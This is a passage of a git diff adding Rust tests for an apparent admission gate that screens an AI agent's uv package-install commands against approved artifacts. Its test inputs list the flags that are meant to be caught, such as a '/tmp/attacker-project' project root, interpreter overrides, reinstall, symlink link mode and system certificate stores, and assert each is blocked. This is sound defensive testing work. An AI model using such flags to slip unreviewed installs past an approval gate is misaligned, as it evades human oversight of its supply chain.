vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-managed-python-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_project_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_project_authority_contract.rs new file mode 100644 index 00000000..28a2300a --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_project_authority_contract.rs @@ -0,0 +1,176 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, ReasonCode, + admission_decision, sha256_hex, +}; + +#[test] +fn uv_run_project_root_is_configuration_authority() { + let (policy, mut intent) = approved_uv_install(); + + for argv in [ + vec!["uv", "run", "--project", "/tmp/attacker-project", "python"], + vec!["uv", "run", "--project=/tmp/attacker-project", "python"], + ] { + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "unsupported uv run must remain fail-closed: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "caller-selected uv project discovery must retain stable alternate_trust_root evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); + } +} + +#[test] +fn uv_run_child_project_argument_is_not_reinterpreted_as_uv_authority() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + "python".to_string(), + "--project".to_string(), + "/tmp/child-project".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "delegated child argv must not be reinterpreted as uv configuration authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_run_nearby_project_spelling_does_not_inherit_project_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + "--projectx=/tmp/attacker-project".to_string(), + "python".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "Wardnet must not invent uv option semantics for nearby spellings: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_pip_project_remains_indirect_source_not_configuration_authority() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.extend([ + "--project".to_string(), + "/tmp/requirements-project".to_string(), + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "uv pip --project must keep the existing indirect-source control: {:?}", + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "Astral documents --project as ineffective in the uv pip interface: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = "pypi".to_string(); + artifact.name = "example-package".to_string(); + artifact.version = "1.2.3".to_string(); + artifact.registry_url = "https://pypi.org/simple".to_string(); + artifact.owner = "Example".to_string(); + artifact.artifact_argument = "example-package==1.2.3".to_string(); + + let approved_artifact = ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-project-authority".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: intent.workspace_id.clone(), + sha256: intent.manifest_sha256.clone(), + }], + approved_artifacts: vec![approved_artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_python_download_safety_contract.rs b/crates/agent-artifact-admission/tests/uv_python_download_safety_contract.rs new file mode 100644 index 00000000..907b9c39 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_python_download_safety_contract.rs @@ -0,0 +1,125 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn uv_install_without_python_download_disable_fails_closed() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "uv may install an undeclared Python distribution unless automatic downloads are disabled; got {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_install_with_exact_no_python_downloads_remains_admissible() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--no-python-downloads".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_python_download_disable_near_spelling_does_not_satisfy_safety_contract() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--no-python-download".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "an unreviewed near spelling must not disable implicit Python acquisition" + ); +} + +#[test] +fn uv_python_download_disable_assignment_does_not_satisfy_exact_boolean_contract() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--no-python-downloads=false".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "assigned Boolean syntax must not be mistaken for the exact disabling flag" + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-python-download-safety".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-python-download-safety".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs new file mode 100644 index 00000000..7cd539d1 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs @@ -0,0 +1,133 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_uv_install_without_python_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_assigned_python_interpreter_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--python=/usr/bin/python3".to_string()); + + assert_python_interpreter_override_is_blocked(&policy, &intent); +} + +#[test] +fn uv_separate_python_interpreter_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .extend(["--python".to_string(), "/usr/bin/python3".to_string()]); + + assert_python_interpreter_override_is_blocked(&policy, &intent); +} + +#[test] +fn uv_short_python_interpreter_value_is_not_misclassified_as_an_artifact() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .extend(["-p".to_string(), "/usr/bin/python3".to_string()]); + + assert_python_interpreter_override_is_blocked(&policy, &intent); +} + +#[test] +fn uv_python_selector_does_not_hide_a_real_unapproved_artifact_operand() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.extend([ + "unreviewed-package==9.9.9".to_string(), + "--python".to_string(), + "/usr/bin/python3".to_string(), + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ + ReasonCode::AlternateInstallRoot, + ReasonCode::ArtifactNotApproved, + ], + "only the interpreter option value is consumed; a second package operand remains an artifact-policy violation" + ); +} + +fn assert_python_interpreter_override_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { + let decision = admission_decision(policy, intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected uv Python interpreter can redirect package installation into an unreviewed environment" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot], + "uv Python selection must fail causally as caller-selected installation-environment authority" + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-python-interpreter-authority".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-python-interpreter-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs new file mode 100644 index 00000000..89c8d9c5 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs @@ -0,0 +1,189 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn approved_uv_install_without_reinstall_authority_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_reinstall_cannot_inherit_artifact_approval() { + assert_reinstall_authority_is_blocked("--reinstall"); +} + +#[test] +fn uv_force_reinstall_alias_cannot_inherit_artifact_approval() { + assert_reinstall_authority_is_blocked("--force-reinstall"); +} + +#[test] +fn uv_reinstall_package_cannot_inherit_artifact_approval() { + assert_reinstall_authority_is_blocked("--reinstall-package=cwl-example"); +} + +#[test] +fn uv_global_options_preserve_reinstall_causal_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + "--reinstall".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "global-option uv grammar must remain outside the deliberately narrow supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "parser-valid uv global options must not erase reinstall mutation evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_parser_controls_do_not_fabricate_reinstall_authority() { + for argv in [ + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--no-deps", + "--no-python-downloads", + "--reinstal", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + "cwl-example==1.2.3", + "--reinstall", + ], + ] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "nearby spelling or non-install uv grammar must not inherit install-mutation authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); + } +} + +fn assert_reinstall_authority_is_blocked(argument: &str) { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push(argument.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected uv reinstall authority must not inherit approval for the reviewed ordinary install: {argument}" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "uv reinstall authority must carry the stable artifact_not_approved reason: {:?}", + decision.reason_codes + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-reinstall-authority".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-reinstall-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs new file mode 100644 index 00000000..739d0103 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs @@ -0,0 +1,156 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_uv_install_without_link_mode_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_symlink_link_mode_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--link-mode=symlink".to_string()); + + assert_symlink_link_mode_is_blocked(&policy, &intent); +} + +#[test] +fn uv_separate_symlink_link_mode_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .extend(["--link-mode".to_string(), "symlink".to_string()]); + + assert_symlink_link_mode_is_blocked(&policy, &intent); +} + +#[test] +fn uv_global_options_preserve_pip_install_symlink_link_mode_authority_evidence() { + for link_mode in [vec!["--link-mode=symlink"], vec!["--link-mode", "symlink"]] { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .splice(1..1, ["--color".to_string(), "never".to_string()]); + intent + .argv + .extend(link_mode.into_iter().map(str::to_string)); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "top-level uv options remain outside the supported install grammar: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "caller-selected symlink materialization must remain explicit causal evidence through reviewed uv global options: {:?}", + decision.reason_codes + ); + } +} + +#[test] +fn uv_global_link_mode_lookalike_does_not_fabricate_symlink_authority() { + let (policy, mut lookalike) = approved_uv_install(); + lookalike + .argv + .splice(1..1, ["--color".to_string(), "never".to_string()]); + lookalike.argv.push("--link-modex=symlink".to_string()); + + let decision = admission_decision(&policy, &lookalike); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "near spelling must not inherit uv link-mode semantics: {:?}", + decision.reason_codes + ); +} + +fn assert_symlink_link_mode_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { + let decision = admission_decision(policy, intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected symlink materialization must not inherit reviewed artifact approval" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::ArtifactNotApproved], + "symlink link mode must fail causally as unreviewed installation/materialization authority" + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-symlink-link-mode-authority".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-symlink-link-mode-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_system_certificate_store_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_system_certificate_store_authority_contract.rs new file mode 100644 index 00000000..49ecb120 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_system_certificate_store_authority_contract.rs @@ -0,0 +1,89 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_uv_install_without_system_certificate_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_system_certificate_store_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--system-certs".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected native certificate-store trust must not inherit approval for the reviewed artifact coordinate" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "system certificate-store authority must carry the stable alternate_trust_root reason: {:?}", + decision.reason_codes + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-system-certificate-store-authority".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-system-certificate-store-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs new file mode 100644 index 00000000..f96c09fb --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs @@ -0,0 +1,146 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_uv_install_without_torch_backend_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_torch_backend_attached_value_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--torch-backend=cpu".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected uv torch backend must not replace the reviewed package source authority" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateTrustRoot], + "attached torch-backend selection must fail causally at the alternate trust-root boundary" + ); +} + +#[test] +fn uv_torch_backend_separate_value_reports_alternate_trust_root() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--torch-backend".to_string()); + intent.argv.push("cpu".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "separate-value torch-backend selection must be rejected for source authority rather than only as an accidental positional artifact mismatch: {:?}", + decision.reason_codes + ); +} + +#[test] +fn uv_global_option_preserves_attached_torch_backend_source_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .splice(1..1, ["--color".to_string(), "never".to_string()]); + intent.argv.push("--torch-backend=cpu".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "a reviewed uv global option must not hide the pip-install torch-backend source authority: {:?}", + decision.reason_codes + ); +} + +#[test] +fn uv_global_option_preserves_separate_torch_backend_source_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .splice(1..1, ["--color".to_string(), "never".to_string()]); + intent.argv.push("--torch-backend".to_string()); + intent.argv.push("cpu".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( 